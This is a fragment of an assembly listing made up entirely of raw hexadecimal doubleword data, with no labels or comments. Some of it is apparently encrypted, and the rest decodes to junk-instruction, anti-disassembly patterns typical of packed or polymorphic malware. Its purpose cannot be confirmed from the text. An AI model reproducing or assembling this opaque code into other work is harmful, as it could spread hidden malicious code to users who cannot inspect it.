		dd 37BC787h, 1A9B535Fh,	5B238DE5h, 0C7B7DA76h, 90651512h
		dd 5A2F7583h, 78A79C87h, 5D709E0Eh, 0C9F245F0h,	0F90F7016h
		dd 87A415DFh, 9626759Fh, 5D2A8D32h, 0C6E71C80h,	0B2FA190Ah
		dd 964B9B6Bh, 4B2274D1h, 0FB019C87h, 0A6A8C244h, 2DA098A3h
		dd 0B43998A3h, 0C679C87h, 0AA35D44h, 46DE07E0h,	141B22E1h
		dd 8AA811B4h, 57A89B6Eh, 6EC88FCEh, 9170110Eh, 0DFE79B6Eh
		dd 2AC8BADEh, 963275C0h, 0C3759C87h, 26C73E3Dh,	0EC1AA721h
		dd 0FEA7E7FCh, 8D4F37D9h, 0DAEAF491h, 22C8F219h, 78219C87h
		dd 0E644F0CFh, 0D4927E1Fh, 2B5BBA99h, 6DA0358Bh, 0F47D42A3h
		dd 821F6CEh, 2D219F6Fh,	557BBC87h, 6F7515DDh, 81651D83h
		dd 0D2218183h, 0AA73DE87h, 702F955Ch, 74A0168Bh, 98A81918h
		dd 91C8B5F2h, 40302978h, 20AC9B6Eh, 0D5CD035Ch,	0FCAA4C78h
		dd 0B3C8822Eh, 761801AEh, 0A8A89B6Eh, 91C8BD1Ah, 0A3739CEDh
		dd 0A5219C84h, 88E2C6A7h, 6D05C80Eh, 0B005D806h, 5A219C9Dh
		dd 87E2CEC5h, 4EA0A7Ah,	0C2418274h, 4C3B413Ah, 0B39A2E80h
		dd 4F781941h, 3F669B6Eh, 0B338E53Ah, 2D257480h,	865B9C87h
		dd 44711D5Bh, 0A5218E0Dh, 0D2287487h, 79429C87h, 0BB3C2662h
		dd 3CD4DF64h, 0A67F650Ch, 0C625B8C3h, 569FFAD5h, 0C3109371h
		dd 8A7B660Ch, 2DA89C0Ch, 0BDC998A3h, 71219C87h,	0EC910D79h
		dd 5B0CDEBBh, 137B690Dh, 4D769CEDh, 0D2219C84h,	36E2C3A7h
		dd 0B005E00Eh, 5E05D806h, 2D219C9Dh, 31E2CBC0h,	0D2AFBAEDh
		dd 2E473614h, 0DB941779h, 9626758Eh, 5D2A8D32h,	0F21F680h
		dd 2D219F6Fh, 557CBC87h, 6F4D15DAh, 81651D83h, 0D2218183h
		dd 0AA74D987h, 2E3B4613h, 79C2B38Eh, 94472BEFh,	13ACDD2Bh
		dd 4CCD035Ch, 4D779CEDh, 0D2219C84h, 37E2C2A7h,	0B005E80Eh
		dd 5E05D806h, 2D219C9Dh, 81E2CAC1h, 24292460h, 5AD49386h
		dd 33A41557h, 0D82675B7h, 0EDA45A43h, 1D2675A1h, 458926E1h
		dd 0B519E6EFh, 24802609h, 91A0D7B3h, 3C25BBA3h,	3B21F6A3h
		dd 0B4219F6Fh, 997BBC87h, 97515DDh, 0B2651D83h
		dd 4B218B83h, 6673DE87h, 0AF89B428h, 75E4090Eh,	1DE9B6Eh
		dd 5DC89796h, 0C5739CEDh, 96219C84h, 11E2C6A7h,	0A105C80Eh
		dd 0D605D806h, 69219C9Fh, 61E2CEC5h, 62044489h,	3DC9570Dh
		dd 0F0219C87h, 37E73AA3h, 0AE764447h, 0A8541110h, 33E08BB1h
		dd 31AC560Ch, 5DCD035Ch, 0C5769CEDh, 96219C84h,	14E2C3A7h
		dd 0A105E00Eh, 0D605D806h, 69219C93h, 95E2CBC0h, 8DF125E1h
		dd 2D21906Fh, 0FE47DB87h, 0CF1F4687h, 9A09B0A2h, 2D7B6975h
		dd 3C21F657h, 0B4219F6Fh, 997CBC87h, 94D15DAh, 0B2651D83h
		dd 4B218783h, 6674D987h, 0F0D0B179h, 735F4C1Bh,	0BCEC190Eh
		dd 0D22E9B6Eh, 2D219C81h, 96B4210Eh, 9BDE9B6Eh,	20A8520Ch
		dd 0D5C884DEh, 4AF8210Eh, 38479B6Eh, 0F21F65Fh,	2D219F6Fh
		dd 557CBC87h, 6F4D15DAh, 81651D83h, 0D2218183h,	0AA74D987h
		dd 0D0F09F81h, 0F3389A64h, 0B8A838A5h, 91C88D1Eh, 4B219B6Eh
		dd 46FA5F87h, 0A28201A8h, 0D62E98A3h, 0BBE19678h, 5A258003h
		dd 10B41587h, 50267588h, 0A207C502h, 0A54BD380h, 0D22274D7h
		dd 31019C87h, 0F0A8C444h, 1EA098A3h, 2D3B98A3h,	0C6619C87h
		dd 0DB05D444h, 0F5BAD28h, 0D2201788h, 81D99C87h, 0B4219C83h
		dd 0E5A1F043h, 2D21976Eh, 0C901FB87h, 563E51A9h, 0DBCCE45h
		dd 59D817D7h, 8025B8C3h, 0B4219C82h, 0B7705031h, 22211723h
		dd 9621950Ch, 48A99387h, 0C3219C87h, 96A84C0Ch,	807298A3h
		dd 0B4219C80h, 0DCEB46E3h, 73DFD487h, 0C421F6DFh, 4B219F6Fh
		dd 667BBC87h, 0F67515DDh, 4D651D83h, 0B4218B83h, 9973DE87h
		dd 0C503D951h, 9F2811B6h, 0FEDE9B6Eh, 0A2C89796h, 3A719CEDh
		dd 69219C84h, 0ECE2C4A7h, 5E05D80Eh, 2905D806h,	96219C9Fh
		dd 3AE2CCC7h, 0FB6E26F8h, 0C5E4110Eh, 0ECAC9B6Eh, 0B3CD035Ch
		dd 0A5F617E1h, 0A59EFA57h, 0B2E11F77h, 4B218E6Fh, 0CD1CB587h
		dd 0D3CB67C6h, 0BA4F79FBh, 0B58047AEh, 0B38C01CEh, 2D219C93h
		dd 57E3CE1Eh, 8D2231D9h, 17CA2770h, 76ADA821h, 827C9390h
		dd 6DA415D9h, 30267585h, 2EC9CC87h, 0B6219C87h,	0C2795FDFh
		dd 2425B8C3h, 0C925B8C3h, 29219C87h, 0F5CB5FD7h, 75FCE2h
		dd 934718ACh, 13AA2157h, 4CC884DEh, 4D719CEDh, 0D2219C84h
		dd 31E2C4A7h, 0B005D80Eh, 5E05D806h, 2D219C9Ah,	78E2CCC7h
		dd 0A3FBCE46h, 0DF387550h, 0B39C1745h, 0E2267595h, 5D29511Ah
		dd 0D21F680h, 2D219F6Fh, 557EBC87h, 6F5D15D8h, 81651D83h
		dd 0D2218B83h, 0AA76DB87h, 0D7CEBFFFh, 5A21916Fh, 0A030DB87h
		dd 77644338h, 623AAB2Bh, 10AA15F4h, 0D5C88506h,	694BDFD8h
		dd 0B42274D1h, 4019C87h, 59A8C244h, 0D2A098A3h,	4B3598A3h
		dd 0F3679C87h, 0FBDD2244h, 802D8532h, 0DE3A1780h, 59C9CB87h
		dd 0D219C87h, 1F7E5FD8h, 0CA25B8FBh, 0B125B8C3h, 95219C87h
		dd 66B75FD0h, 0B4218F08h, 5A2F7587h, 0D7479C87h, 0ADBC6B6Fh
		dd 0A1627E4Fh, 0A40E2B1Eh, 6D2E870Ch, 33A1750h,	0B7C9C987h
		dd 7A219C87h, 0A47C5FDAh, 1725B8EBh, 5025B8C3h,	0E0219C87h
		dd 0D1695FD2h, 2A69D7F4h, 6C12B7CFh, 72D01DE1h,	0C4BC1516h
		dd 0A526759Bh, 0A2383532h, 0FCA45A80h, 952675A1h, 4DC0010Eh
		dd 0B0C99B6Eh, 0F3219C87h, 0C496425Ah, 96219C8Eh, 6C081B56h
		dd 0C1372613h, 502ECC69h, 69219C9Eh, 0B421916Fh, 0FE483687h
		dd 0FAC4CB95h, 0A56A70DBh, 0C32E473Dh, 0A5219C87h, 0F66517D9h
		dd 0A1AAFA83h, 5C419C0Ch, 5A219C80h, 0FA51741Ah, 7FCC3B86h
		dd 4B219C96h, 483AE799h, 67EBFF51h, 38C183BDh, 30080E9Eh
		dd 55C9C489h, 18219C87h, 420FA8BFh, 799E168Dh, 0B3089863h
		dd 0C3C8EF8Eh, 26219C87h, 91ADFFC7h, 6C586BE3h,	4B297593h
		dd 0A970B29Ch, 0FA8FDDCh, 399398A3h, 0C39463DFh, 326758Ch
		dd 0B7C9CC87h, 7A219C87h, 0A4795FDFh, 1725B8C3h, 5E25B8C3h
		dd 0E5219C87h, 0BEB95FD7h, 0F6FA190Ah, 3F479B6Bh, 0BCA0FA51h
		dd 0FDDE89FFh, 7E739CEDh, 4B219C84h, 0FFE2C6A7h, 0D605C80Eh
		dd 6D05D806h, 0B4219C9Ah, 0DFE2CEC5h, 0E14B8937h, 0AF4A4A22h
		dd 0D6A4156Eh, 1B2675A6h, 0C2C2F042h, 3A21F6C7h, 0B4219F6Fh
		dd 997ABC87h, 97D15DCh,	0B2651D83h, 4B218A83h, 6672DF87h
		dd 0D36D79EDh, 8023893Ah, 0B4267480h, 0C4F59C87h, 35994B66h
		dd 85C9CC52h, 6E219C87h, 29E989F9h, 3A98259Fh, 4102BF4Bh
		dd 3F53DBh, 7BD570h, 789417DEh,	1D267588h, 4B327487h, 0AD0A9C87h
		dd 4C59F20Fh, 0A360D53Ah, 5E7A47DCh, 3123F766h,	2DAAC532h
		dd 8B88218Eh, 0CEA89B6Eh, 0A2C89762h, 0D00C210Ch, 0DDC89B6Eh
		dd 0DE219C86h, 59C9CB87h, 0D219C87h, 1F7E5FD8h,	0CA25B8FBh
		dd 0B325B8C3h, 95219C87h, 81805FD0h, 0A99C1703h, 3A267591h
		dd 2D218C6Fh, 6E979887h, 931F5ACFh, 0FD813472h,	7CB24183h
		dd 69A1932Fh, 0EC219C87h, 0C5A411E6h, 9B267050h, 219ECCC8h
		dd 0C249BBD4h, 0A54BB883h, 0D22274D4h, 32019C87h, 0E8A8C744h
		dd 1EA098A3h, 2D3C98A3h, 0C5629C87h, 782D6744h,	3E78BDA2h
		dd 0DDFE6FAEh, 69219A06h, 11941787h, 0D326758Ah, 0C4023D12h
		dd 979BFA80h, 0AB463C4h, 0CF267587h, 0D1C9C987h, 49219C87h
		dd 3D7C5FDAh, 0DB25B8EBh, 3525B8C3h, 0D3219C87h, 85495FD2h
		dd 28357B44h, 3EF6391Ah, 3E21F680h, 0B4219F6Fh,	997EBC87h
		dd 95D15D8h, 0B2651D83h, 4B218583h, 6676DB87h, 866FBC77h
		dd 66B2BF1Fh, 0B4219A0Eh, 5AAC9387h, 7D219C87h,	96251388h
		dd 0F1479C87h, 0CFB2D87Dh, 0D1C9CB87h, 49219C87h, 3D7E5FD8h
		dd 0DB25B8FBh, 3125B8C3h, 0D1219C87h, 90025FD0h, 0C25EC884h
		dd 5BFBDE24h, 80263D12h, 0A19C1780h, 0A267588h,	52D7B93Eh
		dd 0B2251595h, 0A3729CEDh, 0A5219C84h, 89E2C7A7h, 6D05C00Eh
		dd 0B005D806h, 5A219C92h, 36E2CFC4h, 4397FC88h,	7B20290Ch
		dd 2E409B6Eh, 3B0E113Ah, 0E0B46380h, 0DE2675A3h, 59C9CC87h
		dd 0D219C87h, 1F795FDFh, 0CA25B8C3h, 0B925B8C3h, 92219C87h
		dd 0FD865FD7h, 0AA9044BDh, 0D184AB61h, 0C42C753Ah, 1F772D80h
		dd 0A2234502h, 0F721F680h, 0D2219F6Fh, 0AA7BBC87h, 907515DDh
		dd 7E651D83h, 2D218683h, 5573DE87h, 37D92679h, 639F6FB5h
		dd 3B07C502h, 694BCF80h, 0B42274D7h, 2019C87h, 69A8C444h
		dd 0D2A098A3h, 4B3498A3h, 0F5619C87h, 593C4744h, 8014D10Ah
		dd 8A28F480h, 8712A72h,	757BAD88h, 0E005A806h, 213DEE3Dh
		dd 0A6C9CC87h, 0F2219C87h, 0E0795FDFh, 3525B8C3h, 4725B8C3h
		dd 6D219C87h, 7DB05FD7h, 65859927h, 2D134783h, 0D2218E6Fh
		dd 0B405AF87h, 8C32E1F4h, 4677F175h, 522D312h, 1D57B63Bh
		dd 0A2037D12h, 51ABC380h, 0D9302978h, 79C99B6Eh, 5C219C87h
		dd 0B5BD269h, 288719D4h, 404880EDh, 0C2A98800h,	4C01AD02h
		dd 4708C680h, 6EC894DAh, 2BFA190Ah, 5A4B9B6Bh, 2D2274D7h
		dd 0CE019C87h, 0FA8C444h, 0E1A098A3h, 0D23698A3h, 39619C87h
		dd 99A77D44h, 275F258Eh, 0FDDEC244h, 7E749CEDh,	4B219C84h
		dd 0F8E2C1A7h, 0D605F00Eh, 6D05D806h, 0B4219C9Eh, 0C0E2C9C2h
		dd 0E335C149h, 0AB941570h, 0C22675B2h, 4C235102h, 8121F680h
		dd 69219F6Fh, 777ABC87h, 7E7D15DCh, 9651D83h, 96218B83h
		dd 8872DF87h, 733DB55Dh, 0C898090Eh, 0DC089B6Eh, 0B3C887BAh
		dd 7C781941h, 47669B6Eh, 95C9CD87h, 6B219C87h, 2C785FDEh
		dd 5325B8CBh, 7F25B8C3h, 0F5219C87h, 786E5FD6h,	38AB931Dh
		dd 7F219C87h
		dd 4B219C97h, 0F8CA5017h, 3E7B6BA8h, 4396B2AEh,	0B1A6E1F8h
		dd 7990010Eh, 4D499B6Eh, 0C5FC8379h, 4BA093D1h,	0FC219C87h
		dd 0F6151DD8h, 154C7777h, 0B421936Eh, 5A9C387h,	71D73741h
		dd 0F18275Ah, 70277963h, 0AE302978h, 0DEC99B6Eh, 0CA219C87h
		dd 1EEC6715h, 960A5E0Bh, 22B13EB3h, 9621990Ch, 9AA0FA87h
		dd 287BD5F2h, 3EBE4702h, 49952380h, 64DEE0F5h, 473C110Eh
		dd 0A8A89B6Eh, 91C88636h, 0A3729CEDh, 0A5219C84h, 89E2C7A7h
		dd 6D05C00Eh, 0B005D806h, 5A219C91h, 70E2CFC4h,	1B1256B5h
		dd 4CC88492h, 36665A06h, 57E7D44Ch, 6EC8BADEh, 0B42D74D4h
		dd 1C4E9C87h, 2CB4CA73h, 0C04BAB72h, 0CA4750F4h, 0FC49D266h
		dd 9B4001EFh, 0F77CC00h, 0EB40183Eh, 7E151DDEh,	3351A28Ah
		dd 7E779CEDh, 4B219C84h, 0FBE2C2A7h, 0D605E80Eh, 6D05D806h
		dd 0B4219C9Bh, 5DE2CAC1h, 8E48BFF5h, 9ED4A4DBh,	40302978h
		dd 2E479B6Eh, 9A41148h,	38267018h, 0B9E429A4h, 0A57E9B6Eh
		dd 0F09C1757h, 1F2675A7h, 0A2031902h, 0F021F680h, 0D2219F6Fh
		dd 0AA7CBC87h, 904D15DAh, 7E651D83h, 2D218983h,	5574D987h
		dd 0CEE71D51h, 0A2C8BADEh, 7DC31DD0h, 1129621h,	0D0E807B4h
		dd 5573CED7h, 2D219C0Ah, 0A72EC587h, 4B271B88h,	252E9C87h
		dd 0D2219C87h, 6DA0C4DDh, 8E974FA3h, 0C21F6ACh,	2D219F6Fh
		dd 557FBC87h, 6F5515D9h, 81651D83h, 0D2218183h,	0AA77DA87h
		dd 0E2197B10h, 0E69C7FB6h, 0D2D4DC6Eh, 7F2A8D32h, 18F52280h
		dd 20ACC9C9h, 0D5CD035Ch, 4F7411A4h, 64DE9B6Eh,	0B2739CEDh
		dd 2D219C84h, 0CCE2C6A7h, 4F05C80Eh, 0A105D806h, 0D2219C93h
		dd 55E2CEC5h, 0B4271E88h, 0E7089C87h, 2AC8BF6Ah, 0B51C190Eh
		dd 0C22E9B6Eh, 0A5219C85h, 57E7680Dh, 6EC8BADEh, 75A0FAC4h
		dd 5EC91CE3h, 5219C87h,	1C9D0CF7h, 47C9CC4Bh, 1219C87h
		dd 0B15EEC47h, 7B661FFAh, 0EBDB9CCFh, 5E05D80Ch, 4607303Dh
		dd 1F21179Fh, 2B25B8C3h, 0A5218D6Eh, 4863887h, 0A5204682h
		dd 0C8A4DD0Dh, 0A038F58Eh, 75409436h, 7E739CEDh, 4B219C84h
		dd 0FFE2C6A7h, 0D605C80Eh, 6D05D806h, 0B4219C9Ch, 63E2CEC5h
		dd 7E3374E8h, 0F671A65Bh, 5BBC010Ch, 0C4D99B6Eh, 0C874190Eh
		dd 0DCDE9B6Eh, 0B3C89796h, 0B2769CEDh, 2D219C84h, 0C9E2C3A7h
		dd 4F05E00Eh, 0A105D806h, 0D2219C9Bh, 51E2CBC0h, 4FADE54Ah
		dd 0C5A395F0h, 90AACF7Bh, 91C88D16h, 90A411DDh,	0CF267018h
		dd 0D1C9CB87h, 49219C87h, 3D7E5FD8h, 0DB25B8FBh, 3625B8C3h
		dd 0D1219C87h, 648A5FD0h, 86CB9132h, 5D2E3E66h,	69219C96h
		dd 0B421906Eh, 59E2D687h, 0E5D218BBh, 0A530E90Dh, 21F1631Fh
		dd 0A6C9CA87h, 0F2219C87h, 0E07F5FD9h, 3525B8F3h, 4325B8C3h
		dd 6B219C87h, 6B9E5FD1h, 5B59FC1Eh, 8494ADD1h, 882675ADh
		dd 7458190Eh, 0B44B9B6Eh, 5A2274D1h, 73019C87h,	0E2A8C244h
		dd 0FA098A3h, 0A53498A3h, 84679C87h, 68931644h,	5D37D90Ah
		dd 0CFA41180h, 22267050h, 96219A0Eh, 0DEB41787h, 0F52675B3h
		dd 0D0A093D5h, 3E219C87h, 0B0A8C6D8h, 821F6A3h,	2D219F6Fh
		dd 557BBC87h, 6F7515DDh, 81651D83h, 0D2218883h,	0AA73DE87h
		dd 45941738h, 0A52675A5h, 0C421DD12h, 0C621F680h, 4B219F6Fh
		dd 6679BC87h, 0F66515DFh, 4D651D83h, 0B4218783h, 9971DC87h
		dd 0AB7349C9h, 0CBBAB15Fh, 4B231288h, 6AAA9C87h, 0D24B440Ch
		dd 692274D5h, 0EE019C87h, 0EA8C644h, 69A098A3h,	963698A3h
		dd 19639C87h, 7FCAFF44h, 20A0FA30h, 0ECAC7043h,	0B3CD4B0Eh
		dd 0B2739CEDh, 2D219C84h, 0CCE2C6A7h, 4F05C80Eh, 0A105D806h
		dd 0D2219C92h, 0BEE2CEC5h, 102CF8Bh, 5DC896AAh,	7DF717D9h
		dd 92A86D0Ch, 1921F6A3h, 0A5219F6Fh, 117BBC87h,	4D7515DDh
		dd 90651D83h, 5A218483h, 0EE73DE87h, 6CAB4B34h,	5AC90F83h
		dd 6E219C87h, 0E0EC8FA7h, 7579D45Dh, 92E54430h,	67779037h
		dd 2D219A6Eh, 2DDD9287h, 12D84FF9h, 5AD80FD7h, 3B051512h
		dd 3821F680h, 0B4219F6Fh, 9978BC87h, 96D15DEh, 0B2651D83h
		dd 4B218083h, 6670DD87h, 0C6E44AE0h, 0FFE5D431h, 0D19CAF4Bh
		dd 0D32675B3h, 0C421C502h, 96287580h, 83119C87h, 43B847C6h
		dd 15DB3B4Fh, 800B4D02h, 0B4219380h, 0F21F687h,	2D219F6Fh
		dd 557CBC87h, 6F4D15DAh, 81651D83h, 0D2218083h,	0AA74D987h
		dd 7BDDBE96h, 11613BB9h, 0A0941540h, 692675ABh,	0A221C512h
		dd 0ACAE9380h, 0DD219C87h, 69219F09h, 4B9E9387h, 57ACB5D1h
		dd 73267589h, 0B020190Eh, 85A09B6Eh, 0D0A63AEDh, 0C174190Ch
		dd 0F4AC9B6Eh, 0B3CD773Bh, 0D720DF0Eh, 0C436A13Ah, 941180h
		dd 0F226706Ch, 0A5219CB4h, 0E1CA3874h, 69219C3Fh, 0C0E19787h
		dd 5A395E84h, 2105D80Ch, 962174D4h, 0CA7A9C87h,	0A5218B44h
		dd 0F67D1587h, 4D651597h, 8399C793h, 0A5212F7Dh, 9651767h
		dd 0FCC16383h, 48C9CF87h, 85219C87h, 5B7A5FDCh,	0E825B8DBh
		dd 0AF25B8C3h, 19219C87h, 53665FD4h, 1C168940h,	81A19DDDh
		dd 0F521F679h, 0D2219F6Fh, 0AA79BC87h, 906515DFh, 7E651D83h
		dd 2D218483h, 5571DC87h, 3BB6844Dh, 0CF40648Bh,	0D1C9CE87h
		dd 49219C87h, 3D7B5FDDh, 0DB25B8D3h, 3925B8C3h,	0D4219C87h
		dd 0B3985FD5h, 72A8210Ah, 5FAC9B6Bh, 6ECD70CDh,	928AA93Fh
		dd 3BA4AF1Fh, 62675B6h,	0E7C85D48h, 4759D317h, 22D4A264h
		dd 87B3C884h, 3AD928E9h, 80C43BD9h, 0D78F559Ch,	0F305E983h
		dd 0E8D98BA4h, 9, 5B3B06E5h, 45FE770Ah,	0D5B50BDAh, 5A07E92Dh
		dd 89E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 61F90F92h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 16h, 83C35040h, 8B0FE2AAh, 8, 28C0Fh
		dd 61600000h, 0BE9h, 2D81FB00h,	0E5EE814Ah, 0FFDAD48h
		dd 57006AC3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0AF55B484h, 88B0626Ch, 5E9h, 0C0F8FE00h
		dd 0C08B3784h, 0B70FF560h, 0BD8361F3h, 7E918A5h, 83097500h
		dd 0E91A45BDh, 19740007h, 0C08B5350h, 4B9B8h, 0F5858900h
		dd 8D07E920h, 0EBD8359Dh, 5BD3FF07h, 45BD8358h,	7E91Ah
		dd 53501774h, 4B9B8h, 0F5858900h, 8D07E920h, 0EBD4D69Dh
		dd 5BD3FF07h, 0BE958h, 52CB0000h, 0CA55E1ECh, 0B797E517h
		dd 56006AEDh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0D30AEFD4h, 80605D45h, 890FBDEBh, 6, 890Fh
		dd 8B610000h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BE9C674h, 21000000h, 1C6F2DE4h
		dd 0C702EF3Ch, 516029E9h, 0F596160h, 4061FEB7h,	8166C18Bh
		dd 0EBE2BDDFh, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 67489FBBh, 48D63052h
		dd 2E4D8D29h, 0BF0F07E9h, 61858DF3h, 0E907E908h, 12h, 973EBF26h
		dd 94AB6C46h, 0A47C0A5Eh, 7C932BC7h, 0F90039Fh,	81h, 8C0F5000h
		dd 4, 61595260h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 6ABF7Dh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 0A0C35343h, 2DABB33Ch
		dd 6860Fh, 0B5890000h
		dd 7E92FE9h, 34E68166h,	8B006AD5h, 0E90B55BDh, 0BA858D07h
		dd 6A07ECEFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 6FF4C357h, 958949FDh, 7E91E0Dh
		dd 6A05C083h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 7E39C353h, 66C042C1h, 0BF1F2BBFh
		dd 2E961E44h, 85AABE50h, 4893502h, 0DE8B6024h, 55B50157h
		dd 5E07E919h, 6A006A61h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 5B25C352h, 641AC4CCh
		dd 791659B2h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 9582EFC3h, 62774E95h, 666010D9h
		dd 932FF281h, 61F8BF0Fh, 0FB995FFh, 0FE907E9h, 0F2000000h
		dd 94C99727h, 6B8E68D4h, 0CDCCF251h, 9D8D95E5h,	7ECD72Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E0C35343h
		dd 6840Fh, 0BD8B0000h, 7E90AF1h, 0B58BD3FFh, 7E9124Dh
		dd 0F9D85FFh, 0B52307E9h, 7E919B9h, 6A0E9h, 0E800h, 815D0000h
		dd 0ECEFC4EDh, 0D1BD8107h, 0D007E92Ah, 0F000007h, 12786h
		dd 13E800h, 0F73D0000h,	4EB5558h, 864532C6h, 9BB535C9h
		dd 0AB1D3E85h, 0F78B6667h, 0D99D8B5Fh, 307E91Dh, 0E91539B5h
		dd 0E38107h, 0B000001h,	0B1850FDBh, 83000000h, 0ECEDE3BDh
		dd 840F0007h, 50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0B0C35545h, 8CD0FA7Eh, 0DB5B58Bh, 0FE907E9h
		dd 94000000h, 698A042Fh, 0D2A33744h, 9FF87342h,	73E96FEFh
		dd 0E9000000h, 0Ch, 0FFE8327Bh,	43D59978h, 0A5505247h
		dd 0EDE385C7h, 107ECh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0B58B93C3h, 7E918D1h
		dd 31E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 66F5E098h, 0A24EC781h, 0EDE385C7h
		dd 7ECh, 0BE660000h, 9D8DC6C5h,	7E91DD9h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 0BBC35646h, 0F1B70FFFh
		dd 0FEFF2381h, 9D01FFFFh, 7E93145h, 6ADB8C66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 9A7BC357h, 0DCC96F80h, 2890Fh, 0F28B0000h, 0F04C3F6h
		dd 8684h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0A5BD2957h, 0FF07E90Bh, 0E9005995h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 9D89A1F3h, 7E924D5h, 76BCBF66h, 4ABF6650h
		dd 24048998h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	61C35343h, 36EBAFEAh, 0F6570A6h, 682h, 35B58B00h
		dd 0E907E921h, 36Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 48C35545h, 0C27CA811h, 0BF48C73Bh, 0B0FCE0h
		dd 70E6F18Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	59C35747h, 7F551C4h, 0B58BD71Fh, 7E911B1h, 5E971E4h
		dd 6D000000h, 69220CDCh, 6AD8B60Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 4BE4C351h
		dd 0D3DE31CBh, 6BAh, 0F28B6600h, 0E8C1C38Bh, 9BD2904h
		dd 6607E932h, 0B58BE2F7h, 7E90065h, 6AD82Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0AEC132C3h
		dd 89F18B50h, 8B66241Ch, 0D1B5FFF2h, 5107E92Ah,	0FF5F5F50h
		dd 0E90C3195h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 5300B0EFh, 834027BEh
		dd 70E65F17h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	24C35343h, 6CA3F97Bh, 85B589F6h, 0E407E92Ah, 0D6816671h
		dd 8C0F9078h, 6, 0B5BD03h, 613C07E9h, 22C830Fh,	0B58B0000h
		dd 7E9298Dh, 0E8D8B60Fh, 10h, 0ABFDF12Eh, 0E6189387h, 28342259h
		dd 12EF0C77h, 6BA5Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 910F7C3h, 8C0E41A5h
		dd 72DABF66h, 0C38B4EFAh, 6A04E8C1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 8BDFC353h
		dd 0BEF5BE6Ch, 9C4B37DCh, 1F7D8531h, 0FB8B07E9h, 0FE2F766h
		dd 0D82BF7B7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	3C35343h, 0F1EA4BE5h, 3175B589h, 9D8907E9h, 7E93211h
		dd 0D82BFC58h, 170880Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 59D238C3h, 7B9F6h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0B6CCEDC3h, 9EC76190h, 8BFA43F2h, 0E90995B5h, 6E807h
		dd 4BF40000h, 760AE3Bh,	835F5F57h, 0B58B00C1h, 7E92395h
		dd 860FD93Bh, 102h, 0F021CE81h,	8C667A05h, 55006AD9h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 543FBA4Fh, 0F6CB7D5Bh, 840F04C1h, 0A2h, 5995FFh, 6A07E9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 216A0C3h, 6AC32B5Bh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0BD6FC352h,	8343D50h
		dd 860F0000h, 52h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 34C35343h, 801AA84Fh,	8B6D06EFh, 54E9F2h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 890F2FC3h, 6, 0AAD8589h, 0C08B07E9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EAC35242h, 49EE3D7Fh
		dd 88CFF61Ch, 17CFBFAFh, 0C38B1643h, 8C0FD88Bh,	6, 7E5BD29h
		dd 9BE07E9h, 0C7146F9Eh, 0E9201985h, 76097F07h,	6AC08B19h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 219FC356h, 0BA4B1553h, 8BE05A83h,	0E91521B5h
		dd 0D6816607h, 0BD815067h, 7E92AD1h, 7D0h, 3C850Fh, 0F600000h
		dd 68Fh, 6D850B00h, 0F07E90Ch, 68Ah, 8D0F00h, 61000000h
		dd 2AD185FFh, 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0B5FFE8C3h, 7E92AD1h, 0E856006Ah
